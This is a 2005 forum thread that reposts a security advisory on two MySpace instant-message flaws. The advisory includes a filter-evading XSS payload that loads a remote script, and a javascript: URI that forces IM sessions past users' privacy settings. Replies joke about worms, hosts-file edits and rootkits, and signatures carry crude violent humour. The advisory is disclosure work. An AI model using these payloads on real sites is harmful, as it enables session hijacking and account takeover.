Author Topic: Myspace Critical Vulnerabilities  (Read 7179 times)

0 Members and 2 Guests are viewing this topic.

Offline deadly7

  • 42
  • x86
  • Hero Member
  • *****
  • Posts: 6496
    • View Profile
Myspace Critical Vulnerabilities
« on: December 07, 2005, 05:23:54 pm »
Quote
Critical Myspace Vulnerabilities Leave Every Active Account Exploitable
Reported December 5th, 2005

Introduction
------------
In this advisory we will be detailing some very recent holes in the Myspace.com web-application.  If you are not
familiar with Myspace there is much information about the internet phenomenon on the web that will do better
justice at describing what it is than I can here.  Both vulnerabilities lie within the Instant Message (IM) feature
from within the site.  Proper manipulation of both exploits leaves every active account on Myspace potential targets.  As displayed
by a quite harmless worm Sammy - the seriousness of an effective Myspace hack that would permit nearly unrestricted
access to all active accounts should be quite well understood.  With this we will be just detailing the vulnerabilities
and how one might exploit the vulnerabilities without imbedding much of the politics and opinions that could go with it.
At the time of this write up one of the exploits has been patched by Myspace (the first - and more serious - one) whereas
no action has been taken to fix the other reported vulnerability.  The information is to be used to derive the seriousness
of the issue and to add to the general information base of web-application security holes for developer reference.

Vulnerability 1: XSS/Script Injection Vulnerability in MySpace IM Webapplication
--------------------------------------------------------------------------------
Upon an IM request - a javascript command is appended to every requested page on myspace.com that will cause a
prompt to appear asking if the user would wish the accept/reject the IM request from the other user.  The appended
script appears at the bottom of the HTML and is much like the following:
<script language="javascript">
       <!--
       window.parent.up_launchIC( '123456', '123456', 'a', '1', 'http:\/\/profile.myspace.com\/index.cfm?fuseaction=user.viewprofile&friendID=123456&showIM=false', 'F', '21', 'a, a', 'http://x.myspace.com/images/no_pic.gif' );
       //-->
</script>

The function up_launchIC comes from the following script which is included on every page on Myspace:
http://x.myspace.com/js/functions.js

The arguments passed to the function up_launchIC(); allows the script to generate a sort of popup that notifies the user
of the incoming IM request, who it's from, and allows them to accept/reject the request.  Three of these arguments can
be manipulated by the target and are not properly filtered (Display Name, City, and State).  An attacker can break out of
the function using the unfiltered ' character.  By properly crafting a malicious Username/City/State combination the attacker
can force script execution on the target's browser.

This exploit can be automated and only requires that the user be active on myspace.com and logged in - in order for
the exploit to work.  The target is not required to visit any special page for this exploit to work since the accept/reject
prompt is injected into every page on the myspace domain.  This makes this exploit critical.

Instant Messaging can be disabled and hampering the effects of this exploit.  However, due to another vulnerability
in myspace.com that circumvents any of the IM settings (will be outlined in Vulnerability 2), a proper exploit cannot
be protected against by the client.

There are a number of exploit restrictions that make the exploit more difficult to develop - but not impossible.  The first
is size.  There are a total of 150 characters that can be injected and also the exploit must clean up the javascript it
broke out of to not cause any errors.  This amount is plenty to inject a remote script which can be of any length using
<script src=remote script.js>.  The second limitation is filtering.  There are active filters that monitor the content
placed in the fields (filtering out <script etc.).  For our needs we need only to circumvent the filters on <script which
can be done using document.write('<sc','ript'); which breaks up the filtered word.  Another filtering limitation applies to
only the name field in which < or > cannot be used.  This is not fatal to the exploit - the developer of the exploit just
needs to be aware of such.

The following exploit will cause a script to be injected from http://a.bcde.net/fg/h.js.  Additionally it will call the
up_clearICNotify function which clears the prompt (passing the attacker's Friend ID) so the exploit executes without any
notification to the target.

[Exploit For Vulnerability #1]
Create an account with the following information in the account display fields and then request an IM with a user:
NAME/CITY/STATE:
',1);up_clearICNotify('12345678');var x='.bcde';('
');document.write('<s','cript src=http://a',x);(''
'');document.write('.net/fg/h.js></s','cript>');('

This vulnerability is patched by filtering the ' character (the ' character is replaced by .. in Myspace).

Vulnerability 2: Force IM Request
---------------------------------
The IM application doesn't handle the send request function correctly.  Normally, if a user was to try to send an IM request
to someone with the feature disabled they will receive an error message stating such.  However, if the user was to send a message
to Myspace as if they were ACCEPTING a request supposedly requested by the other party - this isn't verified and the IM request
goes through.  This forged acceptance can be exploited by simple means of calling the up_launchIC function locally and accepting
the request.

[Exploit For Vulnerability #2]
While logged into your Myspace account copy+paste the following into your URI field (works for IE and Firefox) and hit enter:
javascript:window.parent.up_launchIC( '[ATTACKER FriendID]', '[TARGET FriendID]', 'amanda', '1', 'http:\/\/www.myspace.com\/index.cfm?fuseaction=user.viewProfile&friendID=12999703&Mytoken=20050410024025&showIM=false', 'M', '17', ', ', 'http://n00084.myspace.com/00084/36/34/84744363_s.jpg' );
(Replace the [ATTACKER FriendID] with the FriendID of the attacking account and [TARGET FriendID] with the FriendID of the target account)

The function for the IM incoming request will be provoked and a prompt will be provided to you.  Accept it - and the session will be created
regardless of what privacy settings the target has set for the IM feature.

This vulnerability has still not be addressed by Myspace as of today.

Ramifications:
--------------
With properly exploitation of both exploits a script can be injected onto the target within the Myspace domain.  This can allow unsuspected,
unguided session hijacking, convenient grounds for phishing attacks, and also user tracking (the exploit can be crafted in such a way that it
appears on every page and reports what the user is doing and where they are going within Myspace).  The depth of the combined vulnerabilities
provides much power to the creative exploit writer.  The vulnerability could even be waged as a worm much like the Sammy worm, but more effective
in that the vulnerabilities it exploits is far less restricting.  Given the general personal nature of Myspace makes this exploit that much more
dangerous.

We hope the informational approach of this write-up allows the readers to draw a sober insight on the importance and seriousness of web-application
and social-network security.

Justin Lavoie
Silent Productions
LOL
all the emo kids will now start->Run->endlife.exe L0L0L
[17:42:21.609] <Ergot> Kutsuju you're girlfrieds pussy must be a 403 error for you
 [17:42:25.585] <Ergot> FORBIDDEN

on IRC playing T&T++
<iago> He is unarmed
<Hitmen> he has no arms?!

on AIM with a drunk mythix:
(00:50:05) Mythix: Deadly
(00:50:11) Mythix: I'm going to fuck that red dot out of your head.
(00:50:15) Mythix: with my nine

Offline Blaze

  • x86
  • Hero Member
  • *****
  • Posts: 7136
  • Canadian
    • View Profile
    • Maide
Re: Myspace Critical Vulnerabilities
« Reply #1 on: December 07, 2005, 05:30:57 pm »
Someone should make peoples home pages to the Emo Song.
And like a fool I believed myself, and thought I was somebody else...

Offline Sidoh

  • x86
  • Hero Member
  • *****
  • Posts: 17634
  • MHNATY ~~~~~
    • View Profile
    • sidoh
Re: Myspace Critical Vulnerabilities
« Reply #2 on: December 07, 2005, 06:34:19 pm »
Haha, that'd be pretty good.

I was noticing this was used to exploit the guy who posted his suicide note on MySpace, haha.

Offline iago

  • Leader
  • Administrator
  • Hero Member
  • *****
  • Posts: 17914
  • Fnord.
    • View Profile
    • SkullSecurity
Re: Myspace Critical Vulnerabilities
« Reply #3 on: December 07, 2005, 06:40:19 pm »
Correct me if I'm wrong, but this sounds like a simple case of Cross-Site Scripting?  XSS, no matter how easy to exploit, should not be called "Critical". 

Btw, this should be on the security forum :P

Offline Sidoh

  • x86
  • Hero Member
  • *****
  • Posts: 17634
  • MHNATY ~~~~~
    • View Profile
    • sidoh
Re: Myspace Critical Vulnerabilities
« Reply #4 on: December 07, 2005, 06:41:01 pm »
Correct me if I'm wrong, but this sounds like a simple case of Cross-Site Scripting?  XSS, no matter how easy to exploit, should not be called "Critical". 

Btw, this should be on the security forum :P

Hehe, yeah.  I agree (2x).

Offline Newby

  • x86
  • Hero Member
  • *****
  • Posts: 10877
  • Thrash!
    • View Profile
Re: Myspace Critical Vulnerabilities
« Reply #5 on: December 07, 2005, 07:08:43 pm »
Please, please, someone destroy that horrible webpage.
- Newby
http://www.x86labs.org

Quote
[17:32:45] * xar sets mode: -oooooooooo algorithm ban chris cipher newby stdio TehUser tnarongi|away vursed warz
[17:32:54] * xar sets mode: +o newby
[17:32:58] <xar> new rule
[17:33:02] <xar> me and newby rule all

I'd bet that you're currently bloated like a water ballon on a hot summer's day.

That analogy doesn't even make sense.  Why would a water balloon be especially bloated on a hot summer's day? For your sake, I hope there wasn't too much logic testing on your LSAT. 

Offline Quik

  • Webmaster Guy
  • x86
  • Hero Member
  • *****
  • Posts: 3262
  • \x51 \x75 \x69 \x6B \x5B \x78 \x38 \x36 \x5D
    • View Profile
Re: Myspace Critical Vulnerabilities
« Reply #6 on: December 07, 2005, 07:09:23 pm »
Very interesting. Probably going to be patched before one can write a worm for it, but if not then this will be very useful.

PS: Newby, talk to me.
Quote
[20:21:13] xar: i was just thinking about the time iago came over here and we made this huge bomb and light up the sky for 6 min
[20:21:15] xar: that was funny

Offline Sidoh

  • x86
  • Hero Member
  • *****
  • Posts: 17634
  • MHNATY ~~~~~
    • View Profile
    • sidoh
Re: Myspace Critical Vulnerabilities
« Reply #7 on: December 07, 2005, 07:10:36 pm »
Please, please, someone destroy that horrible webpage.

Someone should create a worm that adds the following entry to your hosts file:

Code: [Select]
127.0.0.1 www.myspace.com

Offline Blaze

  • x86
  • Hero Member
  • *****
  • Posts: 7136
  • Canadian
    • View Profile
    • Maide
Re: Myspace Critical Vulnerabilities
« Reply #8 on: December 07, 2005, 07:25:29 pm »
Please, please, someone destroy that horrible webpage.

Someone should create a worm that adds the following entry to your hosts file:

Code: [Select]
127.0.0.1 www.myspace.com
That would be the greatest day.... EVER.
And like a fool I believed myself, and thought I was somebody else...

Offline Sidoh

  • x86
  • Hero Member
  • *****
  • Posts: 17634
  • MHNATY ~~~~~
    • View Profile
    • sidoh
Re: Myspace Critical Vulnerabilities
« Reply #9 on: December 07, 2005, 07:27:13 pm »
Oh yeah, it'd also drop a rootkit that makes HOSTS invisible. :)

Offline deadly7

  • 42
  • x86
  • Hero Member
  • *****
  • Posts: 6496
    • View Profile
Re: Myspace Critical Vulnerabilities
« Reply #10 on: December 07, 2005, 08:01:20 pm »
Na, I can view invisdible files with a program.
Also, iago, I know it's not "critical", but I just copied an e-mail I got from mssecnews/bugtraq (not sure which) and copied the title.
[17:42:21.609] <Ergot> Kutsuju you're girlfrieds pussy must be a 403 error for you
 [17:42:25.585] <Ergot> FORBIDDEN

on IRC playing T&T++
<iago> He is unarmed
<Hitmen> he has no arms?!

on AIM with a drunk mythix:
(00:50:05) Mythix: Deadly
(00:50:11) Mythix: I'm going to fuck that red dot out of your head.
(00:50:15) Mythix: with my nine

Offline Sidoh

  • x86
  • Hero Member
  • *****
  • Posts: 17634
  • MHNATY ~~~~~
    • View Profile
    • sidoh
Re: Myspace Critical Vulnerabilities
« Reply #11 on: December 07, 2005, 08:11:16 pm »
Na, I can view invisdible files with a program.
Also, iago, I know it's not "critical", but I just copied an e-mail I got from mssecnews/bugtraq (not sure which) and copied the title.

Not unless you remove the rootkit first. :P

Offline deadly7

  • 42
  • x86
  • Hero Member
  • *****
  • Posts: 6496
    • View Profile
Re: Myspace Critical Vulnerabilities
« Reply #12 on: December 07, 2005, 08:12:30 pm »
Wait, we're talking about Windoze right? cause if someone put a rootkit on my Slack box, I'd have to reformat. :P
[17:42:21.609] <Ergot> Kutsuju you're girlfrieds pussy must be a 403 error for you
 [17:42:25.585] <Ergot> FORBIDDEN

on IRC playing T&T++
<iago> He is unarmed
<Hitmen> he has no arms?!

on AIM with a drunk mythix:
(00:50:05) Mythix: Deadly
(00:50:11) Mythix: I'm going to fuck that red dot out of your head.
(00:50:15) Mythix: with my nine

Offline Sidoh

  • x86
  • Hero Member
  • *****
  • Posts: 17634
  • MHNATY ~~~~~
    • View Profile
    • sidoh
Re: Myspace Critical Vulnerabilities
« Reply #13 on: December 07, 2005, 08:14:49 pm »
Wait, we're talking about Windoze right? cause if someone put a rootkit on my Slack box, I'd have to reformat. :P

I'm unaware of any super-threatening *NIX rootkits, but I'm sure they exist.

And yes, I was talking about windows.  Duh.  I'd like to see the ratio of windows users:linux users on MySpace.  I bet its close to 1. :]

Offline deadly7

  • 42
  • x86
  • Hero Member
  • *****
  • Posts: 6496
    • View Profile
Re: Myspace Critical Vulnerabilities
« Reply #14 on: December 07, 2005, 08:19:09 pm »
Wait, we're talking about Windoze right? cause if someone put a rootkit on my Slack box, I'd have to reformat. :P

I'm unaware of any super-threatening *NIX rootkits, but I'm sure they exist.

And yes, I was talking about windows.  Duh.  I'd like to see the ratio of windows users:linux users on MySpace.  I bet its close to 1. :]
I'm sure iago could find one for you.

If anybody uses nix, they're automatically smart enough to create something better than myspace. :P
[17:42:21.609] <Ergot> Kutsuju you're girlfrieds pussy must be a 403 error for you
 [17:42:25.585] <Ergot> FORBIDDEN

on IRC playing T&T++
<iago> He is unarmed
<Hitmen> he has no arms?!

on AIM with a drunk mythix:
(00:50:05) Mythix: Deadly
(00:50:11) Mythix: I'm going to fuck that red dot out of your head.
(00:50:15) Mythix: with my nine